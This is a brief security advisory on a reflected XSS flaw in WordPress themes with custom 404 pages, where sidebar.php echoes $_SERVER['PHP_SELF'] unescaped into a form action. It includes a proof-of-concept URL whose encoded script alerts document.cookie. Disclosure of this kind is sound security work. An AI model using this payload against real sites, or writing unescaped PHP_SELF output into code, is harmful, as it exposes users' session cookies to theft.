Wordpress All versions XSS

Advisory by Jose Carlos Norte

Wordpress is vulnerable to XSS attacks when custom 404 pages are used by the template.

The problem (sidebar.php):

<form method="get" id="searchform" action="<?php echo $_SERVER['PHP_SELF']; ?>">

if wordpress template use custom 404 pages, like:

<?php get_header(); ?>

    <div id="content" class="narrowcolumn">

            <h2 class="center">Error 404 - Not Found</h2>

    </div>

<?php get_sidebar(); ?>

$_SERVER['PHP_SELF']; can contain special characters to break out html and perform XSS attacks, example:

http://www.example.com/index.php/&quot;&gt;&lt;script&gt;alert&#40;document.cookie&#41;&lt;/script&gt;

if no custom 404 page set by wordpress theme this attacks is not posible.